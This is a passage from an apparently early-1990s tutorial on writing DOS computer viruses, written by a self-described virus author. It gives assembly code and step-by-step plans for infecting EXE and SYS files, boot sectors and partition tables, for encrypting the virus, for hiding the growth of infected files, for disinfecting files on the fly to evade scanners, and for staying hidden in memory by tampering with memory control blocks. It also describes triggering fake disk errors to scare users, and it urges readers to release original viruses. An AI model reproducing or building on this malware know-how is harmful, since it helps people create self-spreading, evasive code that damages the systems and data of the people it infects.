                      add cx, top_stack - 100h
                      mov word ptr [relo_ss], ax
                      mov word ptr [exe_sp], cx

      fix_pagecnt:    mov ax, word ptr [size_save]
                      and ax, 1ffh
                      mov word ptr [part_page], ax
                      pushf
                      mov ax, word ptr [size_save+1]
                      rcr ax, 1               ; don't ask me, ask Dark Avenger
                      popf                    ; (this is the only part I didn't
                                              ; write myself)
                      jz put_cnt
                      inc ax

      put_cnt:        mov word ptr [page_cnt], ax

      write_hdr:      call file_zero
                      mov cx, 1ch
                      mov dx, temp_load
                      mov ah, 40h
                      call function_call

      k_kewl:         mov byte ptr [infected], 1

      That's it.  Refer to the complete source code of NF30 at the end of this
      document for a more complete idea of what's happening.

      4.21    OV? infection
      ----    -------------
      Few people realize that this is exactly the same routine as the EXE
      infection.  But some overlays aren't in EXE header format, I hear you
      say.  So?  It won't be infected then, because you checked it had one
      before you tried infecting.  (That's included in the above code anyway).

      4.3     SYS infection
      ---     -------------
      Like any programmer, I am not inclined to giving away my deepest darkest
      secrets.  You must work this one out for yourself (the code, at least)
      becuase I'm not going to include the code.  I will admit that I couldn't
      figure out a way to reserve memory without inserting code into the
      partition table to do it for me, but apart from that everything works
      fine.  (could someone get me a copy of Invol for me to look at?)

      Note that the main purpose of infecting SYS files is so your virus can
      get into memory before any AV software.  So it would be pointless to
      have a virus which is infectious off the partition AND SYS files.  A
      sensible approach to this would to infect SYS files, but not to make it
      infectious off SYS files; merely to check to see if the virus is
      resident, and if not, patch the partition so that it will be on next
      boot-up.

      Work out your own code.  It's dead simple, but if you can't do it,
      remember: nothing comes easy!

      Firstly, the layout of the SYS header:

      +0      dword   pointer to next device driver (initialized by DOS)
      +4      word    device attribute
      +6      word    offset of strategy routine
      +8    * word    offset of interrupt routine
      +0a     8bytes  device name  (eg. 'LPT1    ')

      '*' denotes a value referenced or changed during infection.

      Infection of SYS files is similar to COM files as far as calculating the
      offset to jump to goes.  Seek to EOF.  Add to AX the relative offset of
      your SYS entry handler, then shove AX it into word ptr [8] (after saving
      the original [8] value).

      The first time the interrupt routine is called will always be the
      Initialize call.  You can safely assume nothing crucial is about to take
      place (but remember to save all the registers).  Do what needs to be
      done (TSR check, partition infection etc.), restore the original
      interrupt routine pointer, and jump to it.

      4.4     Boot Sector Viruses
      ---     -------------------
      I must tell you that BSVs are not my forte.  They are generally simple
      in design, but there are always going to be new media formats in the
      future and what is now a safe place to keep the original boot sector may
      not be in a year's time.

      One way to overcome this is by marking sectors as bad and putting the
      code/boot sector in there, but to do this the original BPB must be
      available, and if another virus is on the disk, it will fuck up.
      (and I never spent enough thought wondering how to maniuplate the FAT,
      so I never bothered.  If you want to, figure it out for yourself.  Don't
      forget about 12- and 16-bit FATs...)

      The world's most common BSV, and perhaps most common of all viruses, is
      the widely-known Stoned family (known as Marijuana, Hawaii etc).  The
      original Stoned virus' code was shot to shit.  A bucket of crap.  Then
      it was adapted for hard drives.  It only catered for 360k-or-below
      disks, so when 1.2's and 1.44's came out there was a big shit about it
      because it would corrupt the FAT, and so a new version of Stoned was
      released.

      What it does:  Upon booting off an infected floppy, it will decrease
      available memory by 2k (2xDEC [0:413h]) and copy itself to [TOM-2k] and
      revector int 13h (BIOS disk services).  At this time it will check to see
      if the hard drive (if one exists) is infected, and if not, will write
      the original partition to 0:0:7 (physical sector 7), and write the
      infected partition to 0:0:1 (physical sector 1).

      Once it has done that, it will read the floppy's original boot sector
      into 0:7c00h and jump to it.  The boot/nonboot will proceed as normal.

      Any non-write-protected disk inserted into the machine and accessed will
      be infected.  It will read the original boot sector and if it's not
      already infected, will write it to the last sector within the root
      directory, and write itself to the boot sector.

      Most BSVs follow this general pattern, since it's really the only way to
      infect without any noticeable disk seeking.

      The general pattern for BSVs:
      Bootup: 1.      Decrement memory by Xk
              2.      Write myself to high memory
              3.      Revector appropriate interrupts
              4.      Hard drive present?
                      -> No: go to 9
              5.      Hard drive infected?
                      -> Yes: go to 9
              6.      Read Partition and store somewhere else
              7.      Patch partition information into myself
              8.      Write myself to partition table
              9.      Load original boot sector/partition table
              10.     Jump to it
      Interrupt Handler:
              1.      Is drive motor going?
                      -> No: go to 6
              2.      Read boot sector
              3.      A copy of myself?
                      -> Yes: go to 6
              4.      Store boot sector somewhere else
              5.      Write myself to boot sector
              6.      Proceed as normal.

      This is a very general and very simple overview of the BSV; you can add
      stealth, encryption and other such tricks if you wish.

      5.0     TRICKS
      ---     ------
      What differentiates viruses from each other?  Tricks of course.  Small
      additions which make each virus unique and less boring.  I could churn
      out a million viruses which do exactly the same thing but in a different
      fashion, but where would it get me?  Where would it get you?  Be
      original.  Be creative.  (some of you may have trouble with this, but
      you can at least TRY.)

      More often than not viruses employ only small tricks, such as wiping
      hard drives and displaying messages like "die fucking lamer" (this is
      not original.  I also despise destructive viruses.  It gives us a bad
      name, McFuck more $$$ and a higher likelihood of law amendments.)

      Have you noticed that the marjority of today's Common viruses exhibit
      some sort of original or innovative behaviour, whether it be small size
      (eg. Ontario virus, infects COM, EXE and is 512 bytes!), beeps, stealth,
      all that.  Don't just be lame and release a boring virus.  How about
      making the timer tick backwards?

      5.1     Self-Encryption
      ---     ---------------
      Self-encryption is fairly easy.  Differing mutations are somewhat
      harder.  I'm only going to teach you the former; I'm not giving away any
      real secrets.  Again, work it out for yourself.

      The principles governing self-encryptions are simple.  When infecting a
      file, copy your virus to another block in memory, but on each byte,
      perform some arithmetical transformation.  To decrypt, perform the
      opposite of this function.
      eg.     Encrypting      Decrypting
                ROL              ROR
                ROR              ROL
                DEC              INC
                INC              DEC
                MUL              DIV        ; I don't recommend MUL or DIV though
                DIV              MUL
                XOR              XOR
                NOT              NOT          ; this may be NEG on some assemblers

      (Note!  You CANNOT use the SHL or SHR functions because you lose any
      bits which fall off the end!)

      Like solving an equation, each step must be performed in the opposite
      way it was first executed.  Let's create a routine which will encrypt a
      number in AL...

      encryption:     dec al                  ; (fragment of code)
                      not al
                      rol al, 1
                      rol al, 1
                      xor al, 4ch

      to decrypt this, we must, as in an equation, perform it in the opposite
      direction and using the opposite function.  (refer to table above).
      To decrypt after encryption by the above routine:

      decryption:     xor al, 4ch
                      ror al, 1
                      ror al, 1
                      not al
                      inc al

      But how would we implement this in a virus?

      Simple.  Allocate twice as much memory as you would if you didn't have
      encryption, so we will have room to encrypt our virus.  Then, just
      before we go write the virus to the file, we copy our virus to the upper
      part of the allocated memory and run the encryption key over it.
      NOTE!  You must be careful which parts of the virus you encrypt,
      otherwise it will hang!  You must not encrypt the decryption algorithm,
      nor the entry point! (if the entry point is not the decryption routine)

      So it would be like this:

              COM entry point:  (restore first 3 bytes of file)
              EXE entry point:  call decrypt
              Main body of virus (encrypted)
              [...]
              decrypt:        (decrypt body of virus)
                              ret

      and your virus would run as per usual.

      Easy!

      (Note: the decryption key should be at the end for more reasons than are
      obvious.  One reason is that when you come to creating your own
      self-mutating virus with a changing encryption algorithm, you can just
      slot it in at the end with no fear of it overwriting any code.  You can
      then make your encryption key as long as is necesary.)

      5.2     Stealth-Related
      ---     ---------------
      The aspiring virus writer, and indeed many experienced virus writers,
      look at viruses like 4096, Fish#6 and Whale and say "Holy Shit... I'll
      never be able to do that" after noting their size.  But the reality is
      that if you have your head screwed on and are competent enough, you can
      write your own stealth routines (you'll have to, I'm not giving you any
      code).

      My defintion of Quasi-Stealth is a virus's ability to hide the increase
      in file size of the files they have infected.  I have done a few viruses
      which do this, the only one currently enjoying any success is X-Fungus;
      the others have not been (and will not be) released.  I do not openly
      encourage using this method because there are only limited ways of
      marking files infected in the directory entry itself.  If more than one
      virus uses the same technique and they meet each other, they will fuck
      up.

      Full-blooded Stealth ability is the abillity to disinfect files
      on-the-fly, as they are opened.  This way, you can defeat ANY sort of
      CRC checker, checksummer, signature scanner etc. because, quite simply,
      the virus won't be there!  The code to employ this took me about 600
      bytes, so it's not that much of a sacrifice to make.

      5.21    Quasi-Stealth
      ----    -------------
      The principles behind this ability are also very simple.  To understand,
      first we must look at how DOS performs a DIR command.

      The user types the DIR command.  The command interpreter does its job of
      interpreting, and drives the kernel to do a number of tasks.

      It goes in this pattern:
                1) find a file which matches filespec (fn 11h or 12h)
                2) interpret and display/skip the information:
                      a) file size
                    * b) date
                    * c) time
                3) loop to 1 if there are more files

      '*' denotes data which we use in quasi-stealth

      It's not exactly like that, but it's good enough for our analysis.

      There are various methods to developing a workable quasi-stealth
      routine.

      1) Adding 100 years to the date
      2) Putting a value more than 60 seconds into the time

      Your Int 21h handler would have to look out for any of these conditions,
      and subtract the virus's length from the "file size" category
      accordingly.

      Here is the routine I have used for my Quasi-Stealth viruses (I prefer
      the method of adding 100 years to the date.  This is not noticeable on
      the directory listing).

      (Note that for all routines, you must call function_call to execute the
      function so there's something there to check, hence the first line of
      code.  You must also have a handler for the DTA change function, to keep
      track of where the DTA is.  This is where DOS builds an FCB.)

      fcb_work:       call function_call
                      push ax
                      push cx
                      cmp al, 0
                      jne fcb_fnot_found
                      push si
                      push ds
                      mov si, word ptr cs:[dta_save]
                      mov ds, word ptr cs:[dta_save+2]
                      lodsb
                      cmp al, 0ffh
                      jne fcb_continue
                      add si, 7

      fcb_continue:   add si, 18h             ; trespassing on DOS reserved space!
                      lodsw
                      mov cx, 9
                      shr ax, cl              ; will clear all non-important bits
                      cmp ax, 100             ; (100 years)
                      jge fcb_fix
                      pop ds
                      pop si

      fcb_fnot_found: pop cx
                      pop ax
                      iret

      fcb_fix:        inc si
                      inc si
                      sub word ptr [si], v_len
                      pop ds
                      pop si
                      jmp fcb_fnot_found

      The infection routine must be changed so that when the file is infected,
      it adds 100 years to the date before resetting it.  The following code
      is added just after the old date & time stamps have been pulled back off
      the stack.  The flag "already_inf" makes sure that if the file was
      already infected that another 100 years isn't added on (you must provide
      your own checking for infection).

      fix_date:       cmp byte ptr cs:[already_inf], 0
                      jne continue
                      add dh, 0c8h            ; add 100 years to DX (date)
      continue:       [...]

      That's quite simple, agreed?

      5.22    Disinfecting on-the-fly
      ----    -----------------------
      This should not be attempted by the light-hearted.  It requires a major
      overhaul of the viral structure.  Becuase of this major overhaul, I will
      not include the exact code on how to do it - you'll have to work that
      out for yourself.  However, I'll give you some pretty explicit details
      on how the thing should operate.

      Note that this is only on way of doing it; no doubt there are several
      other ways of doing it, but all must follow this general pattern.

      i21h handler:   open?
                      jne i21_2
                      set up base (jmp, not call)
      i21_2:          extended open?
                      jne i21_3
                      push dx
                      mov dx, si
                      set up base     ; note! you must tailor your stealth for
                                      ; this call, since DX will be on stack!
      i21_3:          close?
                      jne i21_4
                      close base & reinfect
      i21_4:          [...]

      These are the fundamentals of the stealth capability - when to disinfect.
      On all calls to open the file, add the name & handle to a "database" in
      free memory after the end of your virus.  When it comes to close-time,
      simply scan your database for the handle and re-infect its corresponding
      file, and erase that entry from the database.  How simple can it get?
      (See?  It's a lot easier in theory than most people imagine!)

      The problem enters here: how the fuck do I write a database in ASM?

      Easy.  First of all, you must figure out the format which the database
      will be in.  I worked one out like this:

      +0      byte    availability flag (00 if in use, 0ffh if last entry)
      +1      word    file handle
      +3      word    relative offset of next entry
      +5      x       ASCIIZ path/filename of file
      +y      byte    avail... [etc]

      A word of caution: you must get the path of the file manually because
      the program may change directories, and then you'd be fucked.

      OK, I'll be nice.  I'll give you some code, how to create an entry in
      your database.  (SI points to the last entry in your database.  The file
      handle has been pushed onto the stack.  DS:DX is filename.)

      add_base:       mov di, si
                      xor al, al
                      stosb                   ; clear availability flag
                      pop ax
                      stosw                   ; store file handle
                      xor ax, ax
                      stosw                   ; clear relative offset counter
                      dec si
                      dec si                  ; move SI to beginning of counter
                      mov bx, si              ; and put it in BX
                      mov si, dx              ; DS:SI now points to filename
      abloop1:        lodsb                   ; load byte from DS:SI
                      stosb                   ; store the byte to ES:DI
                      xchg si, bx
                      inc byte ptr cs:[si]    ; INC relative offset
                      xchg si, bx
                      or al, al
                      jnz abloop1
                      mov al, 0ffh            ; mark next entry as Empty
                      stosb

      That's all that's involved in actually creating a new entry.  You must
      make the effort to make the rest of the code.  (This text file is to
      encourage new developments, not to give you something to copy straight
      from).

      Now, back to this major overhaul bit.  This is where the modularity of
      your programming comes into play.  Small viruses are the results of
      well-structured and well-thought-out programming.  You should know
      enough about programming to be able to modify your virus enough to
      accomodate Stealth.

      You must be able to load up the original information, in its EXACT
      state, in order to be able to write it back to the original file.  To do
      this you must edit your infection routine, so that it will save the
      information somewhere, preferrably at the end (or just before the
      decryption algorythm, if you have one running.  This can be handy).
      You must be able to truncate your virus off the end of the file.
      Simple? (That's all there is to fixing up a file into its normal state).

      OK.  Now, you've read through that, and it comes to you:  What if the
      thing's encrypted??

      Never fear.  Just before you truncate the virus off the end of the file,
      read it into memory above your code.  Read the encryption algorythm from
      the end of the virus (you may not need to if you haven't implemented
      mutating self-encryption) and decrypt the virus.  Then take out the bits
      which you saved, and write them as per usual.

      Easy?

      5.4     Multipartite
      ---     ------------
      This is hard to implement if you work your routines yourself, instead of
      ripping someone else's off.  I came up with the idea of how to do it a
      while back, but was unsure of the initial values of vectors and stuff
      upon bootup.  So when I obtained a copy of Tequila, it simply confirmed
      my thoughts and I was able to put it into code.

      As with most virus tricks, the principle is dead simple.  Insert a piece
      of code into the partition table which will load up the virus into
      memory when you boot.  At this point you can intercept interrupts 8
      (timer), 9 (keyboard), 13h (disk services) and 1ch (user timer), or in
      fact, any other interrupt you wish EXCEPT THE DOS INTERRUPTS!  (I have
      not bothered with figuring out how to infect Boot Sectors -- Partition
      table infection is enough for me.  A similar thing happens here but you
      have to figure out where the last sector will be.  This is dangerous
      because if the boot sector is infected with something else the right
      values won't be there and you'll fuck up the disk).

      Upon bootup, the DOS ints are all IRETs and when DOS revectors them for
      itself, it will not call your code - ie. the initial values are never
      used again.  The trick is to latch a piece of code onto i13h (disk
      services) which checks whether or not i21h has changed since the last
      disk call.

      The reason this works is because DOS must be loaded off the hard disk.
      Once it has been, it will revector i21h to itself - then go and load up
      COMMAND.COM.  When it goes to load up COMMAND.COM, i21's vector would
      have changed, and pow, you revector it to your virus.

      Infecting the partition table is easy.  IBM decided to do something
      useful for a change, and said that each of the 4 information blocks had
      to include the starting cylinder, end cylinder, sectors, and most of
      all, the Cylinder, Head and Sector # of the last sector.  This bit is
      the most useful; simply load it up using a LES DI, CS:[SI+xxx] where
      DS:SI points to the beginning of the partition table and the xxx is the
      relative offset of the partition info entry.

      5.5     Warm-boot survival
      ---     ------------------
      I am not absoltely sure on how this works (I am yet to implement it),
      but I'm fairly certain it works using, in part, a similar principle to
      partition table infection.

      For this you must tap int 09h (BIOS keyboard) and wait for the faithful
      CTRL-ALT-DEL combination.  This is easy.  (as a side note: it is in
      instances such as this where you gain knowledge which can be used in
      other applications besides viruses.  The environment of the virus
      ensures that your code is reasonably small and efficient... or at least
      I hope it is..!).

      We must know a bit about the workings of the keyboard interrupt before
      we proceed.  As you know, it's mapped as int 9h on the vector table, and
      it occupies IRQ1 (after int 8, which is IRQ0.  This is not important).
      Every time a key is pressed or released, it will generate an interrupt.

      In your interrupt handler, you must check to see if the DEL key has been
      pressed, and if so, check if CTRL and ALT are pressed.  If it meets all
      these criteria, your routine to hide away and stay resident swings into
      action.

      Your routine to hide away would be exactly the same as the way you
      reserve memory when going TSR from the partition table:  taking x
      kilobytes off the total at 0:413h, loading that up into AX and SHL AX by
      6 to get the destination segment.  Write your virus to that area, reset
      a whole bunch of vectors, hook int 13h (also like the partition
      infection), and throw an int 19h.

      By now you might have realized that many of these overlap -- why have
      warm boot survival, partition table infection, SYS infection as well as
      vanilla COM and EXE infection?  Well, it looks good on the VIRLIST.TXT
      which McFuck bundles with SCAN when there's a whole row of 'x's next to
      your virus.  It also looks nice on the VSUM summary when it says
      "PRhtAXK Parasitic Resident COM EXE SYS Partition Table COMMAND.COM
      infector".  Aesthetic reasons....

      (code comes later)

      5.6     False Errors
      ---     ------------
      This bit pales in comparison with all the previous tricks... this is
      just one to lighten up a little.

      What better way to make a user pack shit when he/she/it sees the
      message "Seek Error accessing Drive C:"?  or "Sector Not Found"?  It's
      not a very nice thing to see when you're saving your 5000-page seasonal
      report on Ventura Publisher.  It's just for a little fun.

      We have to set up some sort of trigger device for this baby.  You can
      set up a timer (from int 8 or whatever) and check if it's rolled over 30
      minutes or so.  But that would be a bit too obvious.  How about every 30
      minutes check if the timer's bit 4 is set?  This would be a bit better.
      Anyway, choose which you think is most appropriate.

      When it meets your selection and it triggers, simply return an error
      code on the next disk read/write operation.  Make the error change every
      so often to keep the suckers guessing.

      Here's a list of int 13's return codes for errors which you could use:

      ffh     Sense operation failed          (fixed disk)
      cch     Write fault                     (fixed disk)
      80h     Drive not ready
      40h     Seek Error
      20h     Controller failure
      04h     Sector Not Found
      03h     Write Protect Error
      02h     Address Mark Not Found

      Note that the error must persist for at least 5 times, since DOS retries
      at least 3.  If you have it only once, nine times out of ten DOS will
      continue and the end user won't shit himself.  (You must keep a counter
      on the number of times it has been done.  Once the predetermined
      threshhold has been reached, clear the error-induce flag and the
      counter).

      The simple things in viruses are often the best...

      6.0     TSR METHODS
      ---     -----------
      It's obviously no good if you can program anything if you can't get the
      thing to stay in memory!  There are many, many methods of remaining in
      memory after execution, some being better than others.  Some are not
      used much at all.  Some can be used only if the viruses are extremely
      small.  I've seen some REAL whacky methods of going TSR, one of the
      strangest being MG-1 and MG-3 (written by the cunts who wrote the DIR-2
      or Creeping Death virus...), but since they assume so much they don't
      work on all that many computers I'm afraid.  Another wierd one is used
      by the FISH#6 virus.  I only ever got to see it a few times, and I've
      never since been able to step through the thing far enough to see it
      again (I don't know why.  I guess I'll have to try again with soft-ice
      instead of Debug!).  Enough shit, down to business.

      One of the things people think will be the hardest before they write a
      virus is they think there's no way to work out offsets of data tables
      and instructions and stuff.  This is shit!  Once you situate your virus
      on a paragraph boundary, you can treat that paragraph boundary as if it
      were the PSP segment.  Then you can program it as normal, using all
      offsets as if you were writing a normal program.  The only bit you have
      to allow for differing memory positions is the TSR process and restoring
      control to the host program (both are usually found at the beginning of
      the virus anyway).

      6.1     Vector Table
      ---     ------------
      I've only ever seen one virus do this - and that is of course MG-1,
      written by the guys who wrote Creeping Death (as I said before).  It is
      inherently dangerous because you don't know if some other stupid program
      is going to revector one of the high interrupts for its own use.  The
      virus has to be very small (500 bytes maximum, which MG-1 fills up
      completely) otherwise you'll write over the BIOS data area.  This one is
      not a good idea so I won't go into code examples.  The only advantage to
      this method is that you have a definite, fixed adress to work from, but
      it's not really much of an advantage.

      6.2     Low Memory Hole
      ---     ---------------
      This isn't a great idea either, but it involves finding a small hole in
      the lower reaches of memory, among the device driver tables and other
      castaway initialization areas.  The problem with this (unless you find
      an exceptionally large hole) is that you don't have a fixed reference
      point.  If you find this exceptionally large hole, though, you can round
      it off to a paragraph boundary and you can use that.  Big holes are not
      common and you'd have to code extremely tightly with no bells or
      whistles for it to fit in.  This was the first method I ever used to go
      TSR and believe me, it's not fantastic.  The code for other methods is
      smaller anyway.  The only advantage is that you don't decrease available
      memory.

      (I'm writing this off the top of my head.. if I make a mistake, blow my
      brains out and call me The NSH Babe)

      find_hole:      mov ax, 40h
                      mov es, ax              ; point ES to BIOS/DOS data area
                      xor al, al
                      mov cx, -1              ; 65535
                      xor di, di
                      cld
      fh1:            cmp cx, 1000
                      jb not_a_hole
                      repne scasb             ; repeat scan while ES:DI<>AL
                      push cx
                      mov cx, v_len+15        ; length of virus (allow for
                                              ; paragraph boundary adjust)
                      repe scasb              ; repeat scan while ES:DI=AL
                      pop bx
                      mov dx, bx
                      sub dx, cx
                      cmp dx, v_len+15
                      mov cx, bx
                      jb fh1
                      mov ax, di
                      mov bx, 10h
                      xor dx, dx
                      div bx
                      inc ax                  ; paragraph boundary
                      sub ax, 10h
                      mov es, ax
                      mov di, 100h            ; points to your brand new hole
                      mov si, start of virus
                      mov cx, v_len
                      rep movsb

                      [...]
      not_a_hole:     restore and exit

      As I said, there are most likely serious bugs in the above code, so see
      if you can fix it for your own use...

      Viruses which use this technique:
              None    (I just made it up, but there are some which use SIMILAR
                       methods, the difference being that they don't round off
                       to the paragraph boundary, which would have made things
                       so much easier for them!)

      6.3     Normal Memory Block
      ---     -------------------
      I hate this method almost as much.  Not only is it dead obvious, it is
      noticeable when the virus first becomes resident.

      This method is widely employed, however.  I don't want you to do this,
      but I'll tell you anyway because I don't want you all to rush out and
      use my method...

      As you know, files are loaded starting at the PSP segment.  DS and ES
      point to this segment.  Regardless of what segment you are in (ie. in an
      EXE file) you can write your virus to there.

      Before we start, we must get some sort of reference point.  This differs
      from the relative offset in that it is the actual point which it points
      to (this is hard to explain)... ie you can't use it to reference another
      byte, it just points to the beginning of your virus.  Now.. In this
      form, it must come FIRST in the entire virus.  If it isn't, you must
      make alterations.

              call $+3
              pop si
              sub si, 3

      This brings SI to point to the CALL instruction.  You adjust the SUB
      operand to bring it to the right point if this isn't first.

      The structure of this call is slightly different to the 'normal' virus.
      Firstly you must check to see if the virus is already loaded or not.  If
      not, write the virus to PSP:100h with the code:

              (SI points to the start, as derived from the above code)
              push cs
              pop ds
              mov di, 0100h
              mov cx, v_len           ; length of virus
              rep movsb
              push ds
              mov ax, offset next_bit
              push ax
              retf
      next_bit:       [etc]

      You can then revector your int 21h.  Now comes the "tricky" part.  You
      must size down your memory block and RE-EXECUTE the host program.
      (Extract the name out of the environment string at PSP-0a:0).

      The tricky bit?  When the host program is re-run the virus in it will
      think it is already resident and pass control to the host as per usual.
      (Here's the tricky bit).  When it terminates, it will pass control back
      to your virus -- the instruction after the exec function call -- whence
      you proceed to make the normal TSR call through DOS.

      Lame, isn't it?

      Viruses which use this technique:
              Plastique/Invader family        [ABT group]
              Taiwan/Fu Manchu family         [ABT group]
              Jerusalem family                [all by lamers]
              4096
              Slow/Zerotime

      6.4     Himem: above TOM
      ---     ----------------
      (TOM stands for Top Of Memory if you didn't know)

      There are plenty of places in the high memory region for viruses to find
      a cosy hidey-hole, but most are not very safe.  They exist in video
      memory, shadow RAM areas and so forth.  Programs such as QEMM utilize
      such holes to load drivers and shit, but what's the point of devoting 1k
      of code to find a failsafe hole when you can hide somewhere else for
      less?

      Hiding in video ram is utterly stupid, but nevertheless some programmers
      insist on loading them there.  Hmm, maybe they could hook int 10h (video)
      to intercept any calls to change modes and move themselves
      accordingly............... hmm that's actually not a bad idea.  But
      where to move to?  Why not stay somewhere else and save the bother?

      Also, remember that the majority of PCs in the world are (still) shitbox
      XT's -- they don't have RAM in areas which aren't used, unlike 286/386
      machines and above.  You might as well try scratching your name into a
      diamond with a steel file.

      Don't bother with this method unless you're adventurous or stupid.

      Viruses which use this technique:
              MG-3

      But it is a different story for boot sector viruses - this is the only
      way to do it.  There are no MCBs or DOS calls when you turn on your
      machine.  So how?

      When you make TOM not the real TOM.  By decreasing the amount of RAM the
      computer THINKS it has, you can safely use the memory you've "chopped
      off" as your own.

      This is easier than it sounds.  To do this, it's just a matter of
      SUBbing or DECing an address in BIOS data area.

                      xor ax, ax
                      mov ds, ax
                      mov si, 413h
                      dec word ptr [si]
                      dec word ptr [si]               ; take 2k
                      lodsw
                      mov cl, 6
                      shl ax, cl

      Pop, there's your segment.

      Viruses which use this technique:
              ALL Partition table/boot sector viruses
              Tequila                         [T.Tequila]
              Flip/Omicron                    [PsychoBlast]
              Invader                         [ABT]

      6.5     Himem: below TOM
      ---     ----------------
      This is my preferred means of going TSR.  Naturally, I think most other
      methods are shit, but it's just a point of view.  (you also can't see
      mysterious memory blocks using some of these methods.)

      Many viruses use this also.  I will discuss most of the methods
      available to use.

      6.51    Reserving Memory at Himem
      ----    -------------------------
      There are some lame viruses which write themselves to high memory and
      don't bother about reserving memory so they won't be overwritten!  This
      is stupid because on certain DOS versions, if the transient portion is
      overwritten it will reload itself, overwriting the virus and hanging the
      system.  On other occasions, data will be loaded up over the top
      (perhaps loading up something like this text file in QEdit would do
      such a thing).  One thing is for certain, you're better off hiding even
      in Video RAM than in high mem without reserving memory.   Anyway, here
      are some methods of reserving that real estate.

      6.52    Shortening last block using DOS calls
      ----    -------------------------------------
      Some very things are very obvious when using debuggers.  One of those
      things is making DOS calls to modify memory blocks.  Any novice can spot
      a series of instructions...

              Free Allocated Memory
              Allocate Memory (ffffh)
              Allocate Memory (7e09h)
              Allocate Memory (074h)
              Get Int 21h... [etc]

                                 ...and take them as something fishy going on.
      Cracker Jack likes this method, and it's very easy.  I'll give you the
      code... (again off the top of my head.  Sue me if I make a mistake)

      go_TSR:         mov ah, 49h             ; release block at ES
                      int 21h
                      mov ah, 48h
                      mov bx, 0ffffh          ; all of memory (induces error,
                      int 21h                 ; memory available in BX)
                      sub bx, v_len/16+2      ; v_len into paragraphs
                      mov ah, 48h
                      int 21h                 ; allocate just short of TOM
                      mov bx, v_len/16+1
                      mov ah, 48h
                      int 21h                 ; and up to TOM
                      sub ax, 10h
                      mov es, ax
                      mov di, 100h
                      (SI points to virus start)
                      mov cx, v_len
                      rep movsb

      6.53    Faking ownership
      ----    ----------------
      The above manoever (or however you spell it) is good -- up to a point.
      But when you restore control to the host, and it exits, you lose the
      memory!  So how do I get it back, or not lose it in the first place?!

      Easy.  There are things called MCBs (Memory Control Blocks) which let
      MS-DOS easily control the memory available.  Now, with us being the
      unscrupulous bastards we are, we simply change the ownership of the
      block to some other stupid program.

      But firstly, the layout of the MCB chains...

      +0      'M' or 'Z'  (Middle or End block)
      +1      Segment of owner  (must be correct or will be lost)
      +3      Size in paragraphs/relative offset to next MCB
      +5      other crap which doesn't concern us
      [...]

      This mysterious MCB block is ALWAYS situated at the segment PSP-1 or
      whatever.  The value returned in AX by fn 48h (Allocate Memory) is the
      memory you can actually use -- to lay bare the MCB to get our greasy
      hands onto, simply DEC AX and move it into a segment register to
      reference it.

      Great.  We know WHAT an MCB is -- how do we dump ownership onto
      something else?

      There is such a call as Get Internal Table Address.  This internal table
      is a handy thing, and is not documented in many places at all.
      Fortunately I will tell you the most important thing we are interested
      at the moment -- it tells us the first MCB block!

      To get the Internal Table Address, simply do this...

                      mov ah, 52h
                      int 21h

      This will return the ITA as a pointer, in ES:BX.  The value for the
      first MCB is at [-2], so to get:

                      mov di, bx
                      mov ax, es:[di-2]

      I'm pretty sure you don't need the segment override but I thought I'd
      leave it in for good measure.  Your assembler would be stupid if it left
      it in there...

      But what about putting it all together?  OK then here goes.

      go_TSR:         mov ah, 49h             ; release block at ES
                      int 21h
                      mov ah, 48h
                      mov bx, 0ffffh          ; all of memory (induces error,
                      int 21h                 ; memory available in BX)
                      sub bx, v_len/16+2      ; v_len into paragraphs
                      mov ah, 48h
                      int 21h                 ; allocate just short of TOM
                      mov bx, v_len/16+1
                      mov ah, 48h
                      int 21h                 ; and up to TOM
                      sub ax, 10h             ; could be 0f, don't know
                      mov es, ax
                      mov di, 100h
                      (SI points to virus start)
                      mov cx, v_len
                      rep movsb
                      push es
                      mov ah, 52h
                      int 21h
                      mov di, bx
                      mov ax, word ptr [di-2]
                      pop bx
                      add bx, 10h
                      dec bx             ; yeah change these two to SUB BX, 0f
                      mov es, bx
                      mov es:[1], ax          ; change ownership
                      mov ax, es
                      sub ax, 0fh
                      mov es, ax
                      mov ax, offset next_bit
                      push es
                      push ax
                      retf
      next_bit:       [...]

      Then you can do whatever you were going to do...

      Viruses which use this technique:
              Eddie                           [Dark Avenger]
              Murphy family                   [Lubo&Ian, + other losers]

      6.54    Shortening last block manually
      ----    ------------------------------
      This is my tried and true method.  I developed it a while ago then found
      out that TP4xVIR all used it and so does Keypress.  Cunts.

      This involves some Kmart handywork on the MCB chain.  It is really
      simple.  It has the advantage of not showing up on debuggers which just
      trap interrupts, and DOS hasn't a clue where the fuck its memory has
      disappeared to -- therefore nothing can write over your code.  I love
      this one.  All my viruses use it (except if they become resident from
      the partition table or boot sector).

      The basic idea is to find the MCB chain and follow it to the Z (end)
      block, then shortening the length by however many paragraphs you need.
      From this you work out the destination segment and off you go.

      find_MCB:       mov ax, es              ; ES is PSP or whatever
                      dec ax
      fmcb1:          mov es, ax
                      cmp byte ptr es:[0], 'M'
                      jne fmcb2
                      add ax, word ptr es:[3]
                      jmp fmcb1
      fmcb2:          sub word ptr [3], s_len         ; # paragraphs to shorten by
                      add ax, word ptr [3]
                      sub ax, 10h
                      mov es, ax
                      push cs
                      pop ds
                      mov di, 100h
                      mov cx, v_len
                      rep movsb
                      [etc]

      Nice and short isn't it!  (I wish I made it this good in my actual
      virus.  Check out how I did it in NF30, it's not quite this good.  Maybe
      I fucked this one up.  I'll check that some time later).

      Viruses which use this technique:
              X-Fungus                        [Terminator Z as Harry McBungus]
              No Frills 2.0                   [Terminator Z as Harry McBungus]
              NF30                            [Terminator Z as Harry McBungus]
              Electrum                        [Terminator Z]
              MicroAcne                       [Terminator Z as Captain Kmart]
              TPxxVIR family
              Keypress

      7.0     HOOKING INTERRUPTS
      ---     ------------------
      Nothing works unless it's pulled together by interrupt handlers.  But
      even an interrupt handler doesn't work if it doesn't get called!  (duhh)
      All viruses hook interrupts in one way or another.  Maybe they don't
      actually hook them, but modify DOS or whatever so they are called.
      Anyway here's the idea.

      7.1     Direct vs. Dos Call
      ---     -------------------
      Now you might think you're cool by getting your virus TSR, hooking
      interrupts and restoring control properly without making a single DOS
      call.  That in itself it okay.  BUT -- and it's a big but -- you can't
      infect COMMAND.COM if you do this!  This is a major setback, because if
      you can't, there's much less likelihood of all files in the AUTOEXEC.BAT
      becoming infected or the DOS shell programs, etc.  If you can get them
      resident as early as possible, it is a good start -- and COMMAND.COM is
      a good a place as any.

      Of course this only applies to int 21h (DOS calls) and other DOS
      interrupts.  All other interrupts can be revectored any way you want.

      To revector a vector directly, you follow something like this:

                      xor ax, ax
                      mov ds, ax
                      mov di, offset save_int_xx      ; int xx
                      mov si, xx*4
